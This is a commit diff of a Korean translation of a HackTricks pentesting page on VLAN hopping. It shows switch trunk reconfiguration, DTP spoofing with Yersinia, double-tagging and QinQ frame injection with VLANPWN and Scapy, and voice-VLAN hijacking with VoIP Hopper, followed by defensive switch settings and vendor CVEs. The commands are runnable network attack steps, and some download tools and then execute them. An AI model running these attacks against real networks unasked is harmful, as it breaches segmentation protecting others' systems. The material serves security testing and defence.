Translated ['src/generic-methodologies-and-resources/pentesting-network/

This commit is contained in:
Translator 2025-08-18 12:38:19 +00:00
parent efc994fc24
commit e8ffd6b823

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
스위치에 직접 접근할 수 있는 경우, VLAN 세분화를 우회할 수 있습니다. 이는 연결된 포트를 트렁크 모드로 재구성하고, 대상 VLAN에 대한 가상 인터페이스를 설정하며, 시나리오에 따라 동적으로(DHCP) 또는 정적으로 IP 주소를 설정하는 것을 포함합니다 (**자세한 내용은 [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) 확인하세요.**) 스위치에 직접 접근할 수 있는 경우, VLAN 세분화를 우회할 수 있습니다. 이는 연결된 포트를 트렁크 모드로 재구성하고, 대상 VLAN을 위한 가상 인터페이스를 설정하며, 시나리오에 따라 동적으로(DHCP) 또는 정적으로 IP 주소를 설정하는 것을 포함합니다 (**자세한 내용은 [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) 확인하세요.**)
먼저, 특정 연결된 포트를 식별해야 합니다. 이는 일반적으로 CDP 메시지를 통해 수행되거나 **include** 마스크를 통해 포트를 검색하여 수행할 수 있습니다. 먼저, 특정 연결된 포트를 식별해야 합니다. 이는 일반적으로 CDP 메시지를 통해 수행되거나 **include** 마스크를 통해 포트를 검색하여 수행할 수 있습니다.
@ -24,6 +24,7 @@ SW1(config-if)# switchport mode trunk
그런 다음 가상 인터페이스가 생성되고, VLAN ID가 할당되며, 활성화됩니다: 그런 다음 가상 인터페이스가 생성되고, VLAN ID가 할당되며, 활성화됩니다:
```bash ```bash
# Legacy (vconfig) still works but deprecated in modern kernels
sudo vconfig add eth0 10 sudo vconfig add eth0 10
sudo vconfig add eth0 20 sudo vconfig add eth0 20
sudo vconfig add eth0 50 sudo vconfig add eth0 50
@ -32,27 +33,36 @@ sudo ifconfig eth0.10 up
sudo ifconfig eth0.20 up sudo ifconfig eth0.20 up
sudo ifconfig eth0.50 up sudo ifconfig eth0.50 up
sudo ifconfig eth0.60 up sudo ifconfig eth0.60 up
# Modern (ip-link preferred)
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.10 type vlan id 10
sudo ip link add link eth0 name eth0.20 type vlan id 20
sudo ip link set eth0.10 up
sudo ip link set eth0.20 up
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60
``` ```
그 후, DHCP를 통해 주소 요청이 이루어집니다. 또는 DHCP가 불가능한 경우, 주소를 수동으로 구성할 수 있습니다: 그 후, DHCP를 통해 주소 요청이 이루어집니다. 또는 DHCP가 불가능한 경우, 주소를 수동으로 구성할 수 있습니다:
```bash ```bash
sudo dhclient -v eth0.10 sudo dhclient -v eth0.10
sudo dhclient -v eth0.20 sudo dhclient -v eth0.20
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60
``` ```
인터페이스(VLAN 10)에서 정적 IP 주소를 수동으로 설정하는 예: 인터페이스(VLAN 10)에서 정적 IP 주소를 수동으로 설정하는 예:
```bash ```bash
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0 sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
# or
sudo ip addr add 10.10.10.66/24 dev eth0.10
``` ```
연결성은 VLAN 10, 20, 50 및 60의 기본 게이트웨이에 ICMP 요청을 시작하여 테스트됩니다. 연결성은 VLAN 10, 20, 50 및 60의 기본 게이트웨이에 ICMP 요청을 시작하여 테스트됩니다.
궁극적으로 이 프로세스는 VLAN 세분화를 우회할 수 있게 하여 모든 VLAN 네트워크에 대한 제한 없는 액세스를 용이하게 하고, 후 작업을 위한 기반을 마련합니다. 궁극적으로 이 프로세스는 VLAN 세분화를 우회할 수 있게 하여 모든 VLAN 네트워크에 대한 제한 없는 액세스를 용이하게 하고, 후 작업을 위한 기반을 마련합니다.
--- ---
## 기타 VLAN-Hopping 기술 (특권 스위치 CLI 없음) ## 기타 VLAN-호핑 기술 (특권 스위치 CLI 없음)
이전 방법은 스위치에 대한 인증된 콘솔 또는 Telnet/SSH 액세스를 가정합니다. 실제 상황에서 공격자는 일반 **액세스 포트**에 연결되어 있는 경우가 많습니다. 다음 Layer-2 트릭은 스위치 OS에 로그인하지 않고도 수평으로 이동할 수 있게 해줍니다: 이전 방법은 스위치에 대한 인증된 콘솔 또는 Telnet/SSH 액세스를 가정합니다. 실제 상황에서 공격자는 일반 액세스 포트에 연결되어 있는 경우가 많습니다. 다음 Layer-2 트릭은 스위치 OS에 로그인하지 않고도 수평으로 이동할 수 있게 해줍니다:
### 1. 동적 트렁킹 프로토콜(DTP)을 이용한 스위치 스푸핑 ### 1. 동적 트렁킹 프로토콜(DTP)을 이용한 스위치 스푸핑
@ -61,22 +71,29 @@ DTP가 활성화된 Cisco 스위치는 피어가 스위치라고 주장하면
*Yersinia* 및 여러 PoC가 이 프로세스를 자동화합니다: *Yersinia* 및 여러 PoC가 이 프로세스를 자동화합니다:
```bash ```bash
# Become a trunk using Yersinia (GUI) # Become a trunk using Yersinia (GUI)
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
# Python PoC (dtp-spoof) # Python PoC (dtp-spoof)
$ git clone https://github.com/fleetcaptain/dtp-spoof.git git clone https://github.com/fleetcaptain/dtp-spoof.git
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
``` ```
포트가 트렁크로 전환되면 802.1Q 서브 인터페이스를 생성하고 이전 섹션에 표시된 대로 정확히 피벗할 수 있습니다. 최신 Linux 커널은 더 이상 *vconfig*를 필요로 하지 않으며, 대신 *ip link*를 사용하십시오: Recon helper (포트의 DTP 상태를 수동으로 지문 인식하기):
```bash ```bash
sudo modprobe 8021q sudo modprobe 8021q
sudo ip link add link eth0 name eth0.30 type vlan id 30 sudo ip link add link eth0 name eth0.30 type vlan id 30
sudo ip addr add 10.10.30.66/24 dev eth0.30 sudo ip addr add 10.10.30.66/24 dev eth0.30
sudo ip link set eth0.30 up sudo ip link set eth0.30 up
# or
wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py
sudo python3 dtpscan.py -i eth0
``` ```
포트가 트렁크로 전환되면 802.1Q 서브 인터페이스를 생성하고 이전 섹션에 표시된 대로 정확히 피벗할 수 있습니다.
### 2. 더블 태깅 (네이티브 VLAN 남용) ### 2. 더블 태깅 (네이티브 VLAN 남용)
공격자가 **네이티브 (태그가 없는) VLAN**에 있을 경우, *두 개*의 802.1Q 헤더가 있는 조작된 프레임은 포트가 액세스 모드로 잠겨 있어도 두 번째 VLAN으로 "홉"할 수 있습니다. **VLANPWN DoubleTagging.py** (2022-2024 리프레시)와 같은 도구는 주입을 자동화합니다: 공격자가 **네이티브(태그) VLAN**에 있을 경우, *두 개*의 802.1Q 헤더가 있는 조작된 프레임이 포트가 액세스 모드로 잠겨 있어도 두 번째 VLAN으로 이동할 수 있습니다. **VLANPWN DoubleTagging.py**(2022-2025 리프레시)와 같은 도구는 주입을 자동화합니다:
```bash ```bash
python3 DoubleTagging.py \ python3 DoubleTagging.py \
--interface eth0 \ --interface eth0 \
@ -85,15 +102,9 @@ python3 DoubleTagging.py \
--victim 10.10.20.24 \ --victim 10.10.20.24 \
--attacker 10.10.1.54 --attacker 10.10.1.54
``` ```
패킷 통과:
1. 외부 태그 (1)는 기본 VLAN과 일치하기 때문에 첫 번째 스위치에 의해 제거됩니다.
2. 내부 태그 (20)가 이제 노출되며, 프레임은 VLAN 20으로 향하는 트렁크로 전달됩니다.
이 기술은 기본 VLAN을 기본값으로 두고 태그가 없는 프레임을 수용하는 네트워크에서 2025년에도 여전히 작동합니다.
### 3. QinQ (802.1ad) 스태킹 ### 3. QinQ (802.1ad) 스태킹
많은 기업 코어는 *Q-in-Q* 서비스 제공업체 캡슐화를 지원합니다. 허용되는 경우, 공격자는 공급자(S-tag) 내에 임의의 802.1Q 태그가 있는 트래픽을 터널링하여 보안 구역을 넘을 수 있습니다. 802.1ad 이더타입 0x88a8을 캡처하고 Scapy로 외부 태그를 팝하려고 시도하십시오: 많은 기업 코어는 *Q-in-Q* 서비스 제공자 캡슐화를 지원합니다. 허용되는 경우, 공격자는 공급자(S-tag) 내에서 임의의 802.1Q 태그가 있는 트래픽을 터널링하여 보안 구역을 넘을 수 있습니다. ethertype `0x88a8`을 캡처하고 Scapy로 외부 태그를 팝해 보십시오:
```python ```python
from scapy.all import * from scapy.all import *
outer = 100 # Service tag outer = 100 # Service tag
@ -102,22 +113,52 @@ payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/
frame = Dot1Q(type=0x88a8, vlan=outer)/payload frame = Dot1Q(type=0x88a8, vlan=outer)/payload
sendp(frame, iface="eth0") sendp(frame, iface="eth0")
``` ```
### 4. Voice-VLAN Hijacking via LLDP/CDP (IP-Phone Spoofing)
기업 액세스 포트는 종종 *“access + voice”* 구성에 위치합니다: 워크스테이션을 위한 태그가 없는 데이터 VLAN과 CDP 또는 LLDP-MED를 통해 광고되는 태그가 있는 음성 VLAN. IP 전화를 가장함으로써 공격자는 VoIP VLAN을 자동으로 발견하고 이동할 수 있습니다—DTP가 비활성화되어 있을 때도 마찬가지입니다.
*VoIP Hopper* (Kali 2025.2에 패키지됨)은 CDP, DHCP 옵션 **176/242**, 및 전체 LLDP-MED 스푸핑을 지원합니다:
```bash
# One-shot discovery & hop
sudo voiphopper -i eth0 -f cisco-7940
# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt)
sudo voiphopper -i eth0 -z
# Result: new sub-interface eth0.<VVID> with a DHCP or static address inside the voice VLAN
```
이 기술은 데이터/음성 분리를 우회하며 2025년에는 많은 모델에서 LLDP 자동 정책이 기본적으로 활성화되어 있기 때문에 기업 엣지 스위치에서 매우 일반적입니다.
--- ---
## 방어 권장 사항 ## 방어 권장 사항
1. 모든 사용자-facing 포트에서 DTP 비활성화: `switchport mode access` + `switchport nonegotiate`. 1. 모든 사용자-facing 포트에서 DTP 비활성화: `switchport mode access` + `switchport nonegotiate`.
2. 모든 트렁크에서 기본 VLAN을 **사용되지 않는 블랙홀 VLAN**으로 변경하고 태그 지정: `vlan dot1q tag native`. 2. 모든 트렁크 기본 VLAN을 **사용되지 않는 블랙홀 VLAN**으로 변경하고 태그 지정: `vlan dot1q tag native`.
3. 트렁크에서 불필요한 VLAN 제거: `switchport trunk allowed vlan 10,20`. 3. 트렁크에서 불필요한 VLAN 제거: `switchport trunk allowed vlan 10,20`.
4. 포트 보안, DHCP 스누핑 및 동적 ARP 검사 시행하여 불법 Layer-2 활동 제한. 4. 포트 보안, DHCP 스누핑, 동적 ARP 검사 **및 802.1X**를 적용하여 악성 Layer-2 활동을 제한합니다.
5. 802.1Q 분리에만 의존하기보다는 프라이빗 VLAN 또는 L3 세분화를 선호. 5. IP 전화 스푸핑이 필요하지 않은 경우 LLDP-MED 자동 음성 정책을 비활성화(또는 인증된 MAC OUI에 잠금)합니다.
6. 802.1Q 분리에만 의존하기보다는 개인 VLAN 또는 L3 세분화를 선호합니다.
--- ---
## 참조 ## 실제 벤더 취약점 (2022-2024)
완벽하게 강화된 스위치 구성도 펌웨어 버그에 의해 저해될 수 있습니다. 최근 사례는 다음과 같습니다:
* **CVE-2022-20728† Cisco Aironet/Catalyst 액세스 포인트**는 기본 VLAN에서 비기본 WLAN VLAN으로의 주입을 허용하여 유선/무선 분리를 우회합니다.
* **CVE-2024-20465 (Cisco IOS Industrial Ethernet)**는 Resilient Ethernet Protocol을 전환한 후 SVI에서 ACL 우회를 허용하여 VRF/VLAN 간의 트래픽을 유출합니다. 패치 17.9.5 이상.
항상 VLAN 관련 우회/ACL 문제에 대한 벤더 권고 사항을 모니터링하고 인프라 이미지를 최신 상태로 유지하십시오.
---
## 참고 문헌
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
- VLANPWN 공격 툴킷 <https://github.com/casterbytethrowback/VLANPWN> - VLANPWN 공격 툴킷 <https://github.com/casterbytethrowback/VLANPWN>
- Twingate "VLAN Hopping이란?" (2024년 8월) <https://www.twingate.com/blog/glossary/vlan%20hopping> - Twingate "VLAN 홉핑이란?" (2024년 8월) <https://www.twingate.com/blog/glossary/vlan%20hopping>
- VoIP Hopper 프로젝트 <https://github.com/hmgh0st/voiphopper>
- Cisco 권고 “cisco-sa-apvlan-TDTtb4FY” <https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apvlan-TDTtb4FY>
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}